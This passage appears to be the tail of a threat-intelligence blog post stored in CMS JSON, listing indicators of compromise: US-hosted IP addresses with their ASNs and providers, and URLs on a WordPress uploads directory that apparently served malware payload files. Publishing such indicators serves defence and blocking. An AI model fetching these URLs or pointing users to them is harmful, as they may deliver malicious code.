      \tHIVELOCITY, Inc.    \n23.227.199.53       \tUnited States       \tASN35017            \tSwiftway Sp. z o.o. \n107.172.197.175     \tUnited States       \tASN36352            \tColoCrossing        \n172.93.201.219      \tUnited States       \tASN20278            \tNexeon Technologies, Inc.\n64.188.19.117       \tUnited States       \tASN8100             \tQuadraNet Enterprises LLC\n74.121.190.121      \tUnited States       \tASN23033            \tWowrack.com         \n192.210.213.178     \tUnited States       \tASN36352            \tColoCrossing        \n209.90.234.34       \tUnited States       \tASN23033            \tWowrack.com         \n198.180.198.6       \tUnited States       \tASN26658            \tHT  \n```\n\nURL\n```\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/check.vm\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/hdata.dat\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/ldata.dat\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/mdata.dat\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/r.vm\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/rdata.dat\nhttp://www.areac-agr.com/cms/wp-content/uploads/2015/12/sdata.dat\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}